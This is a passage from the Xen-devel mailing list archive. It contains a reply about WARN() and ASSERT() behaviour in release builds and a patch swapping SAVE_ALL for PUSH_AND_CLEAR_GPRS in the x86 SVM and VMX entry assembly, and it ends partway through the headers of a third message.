From xen-devel-bounces@lists.xenproject.org Mon Jul 06 15:25:49 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 15:25:49 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355428.1610199 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wglCf-0007Tu-6h; Mon, 06 Jul 2026 15:25:49 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355428.1610199; Mon, 06 Jul 2026 15:25:49 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wglCf-0007Tn-3t; Mon, 06 Jul 2026 15:25:49 +0000
Received: by outflank-mailman (input) for mailman id 1355428;
 Mon, 06 Jul 2026 15:25:47 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper@citrix.com>) id 1wglCd-0007TO-2h
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 15:25:47 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wglCc-000WNB-FB
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 17:25:46 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a4bc8fa-e002-0a2a0a5209dd-0a2a4508bd5a-2
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:25:46 +0200
Received: from [52.101.201.12]
 (helo=PH7PR06CU001.outbound.protection.outlook.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a4bc8f8-edec-0a2a45080019-3465c90c5f53-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:25:45 +0200
Received: from CH8PR03MB8276.namprd03.prod.outlook.com (2603:10b6:610:2c1::14)
 by CH2PR03MB5335.namprd03.prod.outlook.com (2603:10b6:610:91::17)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.11; Mon, 6 Jul
 2026 15:25:38 +0000
Received: from CH8PR03MB8276.namprd03.prod.outlook.com
 ([fe80::8420:cc3e:23e9:7a0e]) by CH8PR03MB8276.namprd03.prod.outlook.com
 ([fe80::8420:cc3e:23e9:7a0e%3]) with mapi id 15.21.0181.008; Mon, 6 Jul 2026
 15:25:38 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=FSfWcOqaYOjOLLLZAv/YsTVjAQtA7GWDbvR386aywhC81fMGDbPepHDgt5BIOdntbQ5KQltoXG1HCw6xOC+huKfml2bqwkWsviiLn0eSe9fqvyOtMUYEyOJ4l/gJwbMIPnc/z9bylXJj6wNsrNDM81RWudnzLxv9WHMr8z53lePPTYJhHcXSt4Bbc0oWbKeArCy0jtk5g6rCM0jpdAiY2B1iDHVhweY5Ca1cEik4jp8t3jYXTQsCcMwKBwnz9Z1JCIiErTZyAG0eiFws1SvnBqLdu/6yaFoE3KEzhCu5gKgHxjAJE8UZSe26K2cW33L9iVoxunz5ThqQCCFE8qOgag==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=xxGiT3OZKgqJsYq/8hulY9CxwbAoACwxJSNvNOTJHjM=;
 b=GxJWSkBKhEKkJzjZPTnyROltzjdqoON2zfJv3bjw7iomZAXd6q3HD2Ur3CdNyeSl/7HFwGnzMvOrWmwzR2IWVyutPzOdD3cO37YhGsd39pswnVHXPn5+vrJdWuMxOy6itmFuMxiy7j5qJaKodXTdo8mp8Yo6vFj+whC8AH0nyCumOv8zmxgCQ1+5S76mzNoodquGPgDW5DqDRzG/MOh85hsXd4FudZoTk3tOH3N3j5doKtPR4OGYy1p5hml8RP4WFF0sMdD1m7oKtTEtRw3bWU1fCjNTZJ/v3vWEgjccfsHtLX6SvC7afiiA7QmVtw1vf/uf3eatv9Vt3iWrTIiV1g==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=xxGiT3OZKgqJsYq/8hulY9CxwbAoACwxJSNvNOTJHjM=;
 b=dOitJxORVus1ssHvocH0MWdeQ4aP6doyoQMoSZ7bRJQ2NGR3rKNDX9eah6CTpQMqeEyr+5dPLFf9Owv3nyU1GkNBBo2WEwG0+wH+trOcTryML0j4nNqsTB9mX0uS9yrilqdI57lhfoNLVgfxdDrxhlL/n5s87Zr6IPKTBeZ0wmI=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Message-ID: <2c9f8d2b-ef36-4d70-aa3f-bb394b48ee3f@citrix.com>
Date: Mon, 6 Jul 2026 16:25:34 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>,
 Stefano Stabellini <sstabellini@kernel.org>, Julien Grall <julien@xen.org>,
 Bertrand Marquis <Bertrand.Marquis@arm.com>,
 Michal Orzel <michal.orzel@amd.com>,
 Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>
Subject: Re: [PATCH v3] xen/arm: gic-v3: Introduce CONFIG_GICV3_NR_LRS
To: Luca Fancellu <Luca.Fancellu@arm.com>,
 Ayan Kumar Halder <ayan.kumar.halder@amd.com>
References: <20260706133553.3026786-1-ayan.kumar.halder@amd.com>
 <DAB048A7-AE4F-4E28-A613-8FFE4F0AC359@arm.com>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFNBFLhNn8BEADVhE+Hb8i0GV6mihnnr/uiQQdPF8kUoFzCOPXkf7jQ5sLYeJa0cQi6Penp
 VtiFYznTairnVsN5J+ujSTIb+OlMSJUWV4opS7WVNnxHbFTPYZVQ3erv7NKc2iVizCRZ2Kxn
 srM1oPXWRic8BIAdYOKOloF2300SL/bIpeD+x7h3w9B/qez7nOin5NzkxgFoaUeIal12pXSR
 Q354FKFoy6Vh96gc4VRqte3jw8mPuJQpfws+Pb+swvSf/i1q1+1I4jsRQQh2m6OTADHIqg2E
 ofTYAE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pbBI2PWnOsRJgU2n10PZ3mZD4Xu9kU2IXYmuW+e5KCA
 vTArRUdCrAtIa1k01sPipPPw6dfxx2e5asy21YOytzxuWFfJTGnVxZZSCyLUO83sh6OZhJkk
 b9rxL9wPmpN/t2IPaEKoAc0FTQZS36wAMOXkBh24PQ9gaLJvfPKpNzGD8XWR5HHF0NLIJhgg
 4ZlEXQ2fVp3XrtocHqhu4UZR4koCijgB8sB7Tb0GCpwK+C4UePdFLfhKyRdSXuvY3AHJd4CP
 4JzW0Bzq/WXY3XMOzUTYApGQpnUpdOmuQSfpV9MQO+/jo7r6yPbxT7CwRS5dcQPzUiuHLK9i
 nvjREdh84qycnx0/6dDroYhp0DFv4udxuAvt1h4wGwTPRQZerSm4xaYegEFusyhbZrI0U9tJ
 B8WrhBLXDiYlyJT6zOV2yZFuW47VrLsjYnHwn27hmxTC/7tvG3euCklmkn9Sl9IAKFu29RSo
 d5bD8kMSCYsTqtTfT6W4A3qHGvIDta3ptLYpIAOD2sY3GYq2nf3Bbzx81wZK14JdDDHUX2Rs
 6+ahAA==
In-Reply-To: <DAB048A7-AE4F-4E28-A613-8FFE4F0AC359@arm.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-ClientProxiedBy: LO0P123CA0002.GBRP123.PROD.OUTLOOK.COM
 (2603:10a6:600:354::13) To CH8PR03MB8276.namprd03.prod.outlook.com
 (2603:10b6:610:2c1::14)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CH8PR03MB8276:EE_|CH2PR03MB5335:EE_
X-MS-Office365-Filtering-Correlation-Id: 3373eae3-3795-4542-a011-08dedb72d53c
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|366016|376014|1800799024|23010399003|56012099006|4143699003|11063799006|22082099003|18002099003;
X-Microsoft-Antispam-Message-Info:
	RB9bhGoSlqW0JF+y94Hz9jSUGiO6I8olItELa379nDxNwGtv1Y3kmDJCv6ifV0yF575uCfXu0/CgEOk/KlyP55jug1qa7tHvicglPydzOwxsh1U+RveEIvjJg0d6xpt6KxwnEWJLoVVDU8GCS4BrY7yq/yQNLyvHHN6FmUpxRPXbof+ArqCH2hPv23hHvFMJ5fjqIFHD2GNlniFw4sMX8XJdXS5KorA3cdgbUCoybKlYXVObfNrcN3KBeX53ulkukHX62nz7N1bHPU9Fjm6Wl1ft1JqS9farqj2FzlIAUWTkshtb/pPjjWt/J/RpnIfU2ntFsigCPVxl4O1MPgzvTGKX/TFwb5DKk2ibtcUcgVXv/ESRmlavjZFjmlafeG+wM+dQiNUrMRldf5ND6UYUKgcgo4BVdPGAfn6l8PEKoL1mpxArhPCNManfw+eFNjgaTSXbDSZ46/YXTaX810W+iun1HXZ3m23UhExA+KLBLrWK05k6nv26lt46//089bpw+2VScm+BG5v2uR22wI16z98Vneu+F302H4A1cqM3aGjX36PvCM8uvLgmfS9XjxI+kKIsZqThs0EIN17T0yXGl/BwtodbCaKVZdNngwxX49LEre7xlFXR9w8gsFrwSltfo9/PrjktF3XzAZ22ZAEjLBMMuCkQR9CJULhHTmpcec0=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:CH8PR03MB8276.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(366016)(376014)(1800799024)(23010399003)(56012099006)(4143699003)(11063799006)(22082099003)(18002099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?UTRDeDhVbWlsMVp5RDZXMXdvQ2RyRmZJRjVkNzFaRnRmL0JlN25TZW5JdDFU?=
 =?utf-8?B?MFAzK1BmckVXMXAxeGVveDN1WWNUZVVucXRIQzV6WU9JUEJGdzBMY3JOL2Jz?=
 =?utf-8?B?eWNza2VIQ3VyOTRSZkRJVHUw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2dsdU4vbnM3cFhFRW5KNEJCN1hScVM4cjVZbjBzdHNh?=
 =?utf-8?B?OEd0SUxoS251TUtudEh6em5Kdjd1cWtTK09UZ3pqQmFiZnZOdE9ZMGFqUlh1?=
 =?utf-8?B?elhZRnNETHpidDhxczBMZHlRMGltbUNDU3huaUpSMmwzUGt2MGhUcWw2VS9r?=
 =?utf-8?B?WUx5OVRwTjJHVGhaQ2RGMHBHZWw0T0RnUm9kMDBWVTA1OHF3dFZRSXlubGVG?=
 =?utf-8?B?Tld5NVZiL25VeUVqbm5TRzNscEVicXdCbW52ZnpYWCtyRytkcDdWa3AwM05s?=
 =?utf-8?B?VUxPU2ZCclV2MTVGNnZRMmFCM1IwYzFMQnBrY2dVdXF3N21GK2JnMkpFa2x1?=
 =?utf-8?B?MjZIUmNiSTFKK2puUUhoUDkvWG9uamVNdmFvSnlzQVAyTjhRQzRiU0ZVTnpV?=
 =?utf-8?B?dHc2MjNxajVtMUpUN2w4bW5KVjlKODhzZEJwWjR3Y01CQ3dUUVQ5Zz09?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 3373eae3-3795-4542-a011-08dedb72d53c
X-MS-Exchange-CrossTenant-AuthSource: CH8PR03MB8276.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 06 Jul 2026 15:25:38.5778
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: 5id46BIsWdi+TqvF9UREkdyIFYeRtk9+4rPDbBQwtNAxfQe6MOfF4hsF5LavpTwtwZGDG4q1UghpbFiAyX1SWSAONF/8w7449zEUoIBsSy0=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: CH2PR03MB5335
X-purgate-ID: tlsNG-c1860d/1783351546-A17263FC-78BB6A9F/0/0
X-purgate-type: clean
X-purgate-size: 644

On 06/07/2026 4:20 pm, Luca Fancellu wrote:
>> On 6 Jul 2026, at 14:35, Ayan Kumar Halder <ayan.kumar.halder@amd.com> wrote:
>>
>> gicv3_ich_read_lr()/gicv3_ich_write_lr() now reject out-of-range
>> indices with an error message, ASSERT_UNREACHABLE() and WARN() instead
>> of silently returning RAZ/WI; reaching this path indicates a bug.
>>
> I was thinking that it was better to have a panic or a bug_on for a bug, since
> ASSERT_UNREACHABLE and WARN will go away for release build,
> however if itâ€™s been agreed with Julien Iâ€™m ok.

Only ASSERT()'s go away in release builds.Â  WARN()'s remain in release
builds.

~Andrew


From xen-devel-bounces@lists.xenproject.org Mon Jul 06 15:34:39 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 15:34:39 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355439.1610214 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wglKx-0000z9-7m; Mon, 06 Jul 2026 15:34:23 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355439.1610214; Mon, 06 Jul 2026 15:34:23 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wglKx-0000xa-24; Mon, 06 Jul 2026 15:34:23 +0000
Received: by outflank-mailman (input) for mailman id 1355439;
 Mon, 06 Jul 2026 15:34:22 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper3@citrix.com>) id 1wglKw-0000we-Bh
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 15:34:22 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wglKv-000YCn-3d
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 17:34:21 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper3@citrix.com>)
 id 6a4bcaea-5cb7-0a2a0a5109dd-0a2a450a95fe-22
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:34:21 +0200
Received: from [209.85.128.50] (helo=mail-wm1-f50.google.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper3@citrix.com>)
 id 6a4bcafc-e40e-0a2a450a0019-d1558032bcd6-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:34:21 +0200
Received: by mail-wm1-f50.google.com with SMTP id
 5b1f17b1804b1-4921eed3fa2so22101625e9.0
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 08:34:20 -0700 (PDT)
Received: from localhost.localdomain (host-78-146-248-75.as13285.net.
 [78.146.248.75]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493c63bfba1sm433726505e9.15.2026.07.06.08.34.19
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 06 Jul 2026 08:34:19 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=citrix.com header.i="@citrix.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-Id:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=citrix.com; s=google; t=1783352060; x=1783956860; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to;
        bh=PHcjQ1xCF4fLVyfPs91K9Nneq4AcxnJkrKeQtPWGRmI=;
        b=crnPhurb8VFajf9bDQFa9skywLv6bvYlNkRf2aLdPfvWLCojTxsF0JKCqN9Y+c2QKX
         xfMI5CopS/ZEtHtNYkyMnNbFbdAkPM9Xs8ivnqsZ5xUVpbqXQFZM2D+UxwZ2zeTSvhIm
         rZoQ/ZYGWhbgEIIqN9EPMsFye2zsHWXdj5ULc=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783352060; x=1783956860;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to;
        bh=PHcjQ1xCF4fLVyfPs91K9Nneq4AcxnJkrKeQtPWGRmI=;
        b=fCN7KT2DRkSzJujQRQhouwQAdVX7vjA2ES0ydXvRPKWZU6jU0FiJ1yImwSN/LtvUXW
         HatvPCT8WXRM0nKO/POHNyThNVBdbuj9R1oeGDkNKumuqt2MK9DWLUDiBHyvpjDe17Ug
         4Gaod67UbRC7agHkSlDFOpNQJB2C9rbMVXac/6WtJOzRDJt3BsN+AuhE/qBR4H6k0mph
         uc29LiOt1/FDYovDe1ypNK5zEA7Ku3SnBTD4eqhquXRjSMEMI9Glm1e8izxsztQiJbtt
         6elZ6Xqg8qXrve6Pb+/KVswu8DGmAuKYw6510gzM5n4WGPio2RW6rW/v5TnYIU8IbVeq
         uzxQ==
X-Gm-Message-State: AOJu0Yz2efzilR2UcGeFImVJDlPVUFFZSlmMg68hNXVxYB1mndlleLqN
	AAErB5P6nN+CuKj+PbKqycFzkMca937h86UUDGALPtEve3LAFXzwMp3KcSJ38rFhokoLC+ip2dO
	8WbQX
X-Gm-Gg: AfdE7cm5FLjFmvDVWinV1Rb0ZkMiJEe1B107qPaMNEzQyqQnN/tR0Vsr4pg0ZzJooP9
	u9AVWiuglBJekOJDWyR1Uk9emCV5llQADXUCSQa0meFWUol90bPsIEitH1IDjw0LMpGlrsZLbtp
	AjnC8pr3chmPFqyp4AN5qZKbPZSWBFDrQ9rMQc9HJHsqdDfUQ8pHo5D+CV1Hlh+8mHWbIHSXx4m
	/Pxic8qBYlFgXlgxFe5UKd2IBpZFD1pJyImw/Kwb+3GJlMmg6WvW2NbTLB01kH6krCKqJ0eNgil
	ImbOdqDq6V8emxI1TuLzrA+UP8ydCXiMamKBDQfHqYe20EdkjdVFcpvw8P+xcKq8ZB9FnWU/M7j
	+CbQIF6S2XD+yYYK4ShoChWcvLtY/m9vf3WAwvOa8sl+csK3dgqvmf65RJ7kZcp5GCnzOR+gn5d
	x1+oain8oMf5Qt0RI8xC8SvbHBWsFtacFk48bn3NeSppjJQZqJuYzhbfJBIChRK/Y=
X-Received: by 2002:a05:600c:4e8e:b0:493:c194:4e7a with SMTP id 5b1f17b1804b1-493df0377e0mr11774875e9.3.1783352059809;
        Mon, 06 Jul 2026 08:34:19 -0700 (PDT)
From: Andrew Cooper <andrew.cooper3@citrix.com>
To: Xen-devel <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
	Jan Beulich <jbeulich@suse.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>
Subject: [PATCH 1/3] x86/hvm: Use PUSH_AND_CLEAR_GPRS in preference to SAVE_ALL
Date: Mon,  6 Jul 2026 16:34:13 +0100
Message-Id: <20260706153415.1264750-2-andrew.cooper3@citrix.com>
X-Mailer: git-send-email 2.39.5
In-Reply-To: <20260706153415.1264750-1-andrew.cooper3@citrix.com>
References: <20260706153415.1264750-1-andrew.cooper3@citrix.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-4011c0/1783352061-D5129DDE-772D8F18/0/0
X-purgate-type: clean
X-purgate-size: 1790

SAVE_ALL hides a CLD instruction which is not needed anywhere here.

 * VMX VMExit always clears flags.  VMX VMentry failure never switched away
   from the host flags, so they're still good.
 * SVM VMRUN always saves and restores the host flags.

No functional change.

Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
---
CC: Jan Beulich <jbeulich@suse.com>
CC: Roger Pau MonnÃ© <roger.pau@citrix.com>
CC: Teddy Astie <teddy.astie@vates.tech>

Bloat-o-meter reports:
  add/remove: 0/0 grow/shrink: 0/2 up/down: 0/-168 (-168)
  Function                                     old     new   delta
  svm_asm_do_resume                            416     360     -56
  vmx_asm_vmexit_handler                       576     464    -112
---
 xen/arch/x86/hvm/svm/entry.S | 2 +-
 xen/arch/x86/hvm/vmx/entry.S | 4 ++--
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/xen/arch/x86/hvm/svm/entry.S b/xen/arch/x86/hvm/svm/entry.S
index b6ea699bb9c0..d9613a2a8fed 100644
--- a/xen/arch/x86/hvm/svm/entry.S
+++ b/xen/arch/x86/hvm/svm/entry.S
@@ -89,7 +89,7 @@ __UNLIKELY_END(nsvm_hap)
 
         vmrun
 
-        SAVE_ALL
+        PUSH_AND_CLEAR_GPRS
 
         GET_CURRENT(bx)
 
diff --git a/xen/arch/x86/hvm/vmx/entry.S b/xen/arch/x86/hvm/vmx/entry.S
index c34f5a1ee0af..cebc70064048 100644
--- a/xen/arch/x86/hvm/vmx/entry.S
+++ b/xen/arch/x86/hvm/vmx/entry.S
@@ -22,7 +22,7 @@
 #include <asm/page.h>
 
 FUNC(vmx_asm_vmexit_handler)
-        SAVE_ALL
+        PUSH_AND_CLEAR_GPRS
 
         mov  %cr2,%rax
         GET_CURRENT(bx)
@@ -157,7 +157,7 @@ UNLIKELY_END(realmode)
 
 .Lvmx_vmentry_fail:
         sti
-        SAVE_ALL
+        PUSH_AND_CLEAR_GPRS
 
         /*
          * SPEC_CTRL_ENTRY notes
-- 
2.39.5



From xen-devel-bounces@lists.xenproject.org Mon Jul 06 15:34:39 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 15:34:39 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355440.1610226 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wglKy-0001MR-DJ; Mon, 06 Jul 2026 15:34:24 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355440.1610226; Mon, 06 Jul 2026 15:34:24 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wglKy-0001MJ-9Z; Mon, 06 Jul 2026 15:34:24 +0000
Received: by outflank-mailman (input) for mailman id 1355440;
 Mon, 06 Jul 2026 15:34:22 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper3@citrix.com>) id 1wglKw-0000wn-Ot
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 15:34:22 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wglKw-000YCn-5X
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 17:34:22 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper3@citrix.com>)
 id 6a4bcafc-5cb7-0a2a0a5109dd-0a2a4507a422-6
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:34:22 +0200
Received: from [209.85.128.48] (helo=mail-wm1-f48.google.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper3@citrix.com>)
 id 6a4bcafd-9c8e-0a2a45070019-d1558030ec53-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:34:22 +0200
Received: by mail-wm1-f48.google.com with SMTP id
 5b1f17b1804b1-493d28b1930so24172985e9.0
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 08:34:22 -0700 (PDT)
Received: from localhost.localdomain (host-78-146-248-75.as13285.net.
 [78.146.248.75]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493c63bfba1sm433726505e9.15.2026.07.06.08.34.20
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 06 Jul 2026 08:34:20 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=citrix.com header.i="@citrix.com" header.h="Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-Id:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=citrix.com; s=google; t=1783352061; x=1783956861; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:mime-version:references
         :in-reply-to:message-id:date:subject:cc:to:from:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=US++6oXh7QmRtGgM9Ky45/VXvpj8kcMFRZ59/2f4CgI=;
        b=jJ9zhtcJ/q7XROAGTiLGjebJtD2vWUz1jWLHxyUwxk5VFkWZtLMRTMl4khCx47Au8W
         9Awf822YbVLks7VOenwhwPnzC8zhA9WlCFoCx5fWGlckq2kJvkcVrzwBc0xdGFDQbt8S
         57xdnj7ty29f4OZVf/VPC5uBRmrKVAuRAPmj0=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783352061; x=1783956861;
        h=content-transfer-encoding:content-type:mime-version:references
         :in-reply-to:message-id:date:subject:cc:to:from:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=US++6oXh7QmRtGgM9Ky45/VXvpj8kcMFRZ59/2f4CgI=;
        b=aAtB1ALyYUfcu5Yf65PzHKPrVO7xmGj5ZxUNWsmhVYGSp5QZmpzgK+RICKwoM26qQI
         0xpR4qyHnEuq6O2J4NRBkiCanefnY+15ruQLsgLYgADz5E5aWESrjQszCErkeb168/Pv
         nyY9aknmBifF3DbhUDomna0FCn18yDi3LcINUl5V44gjCUeS3IULaxskG8wORhY5DrwK
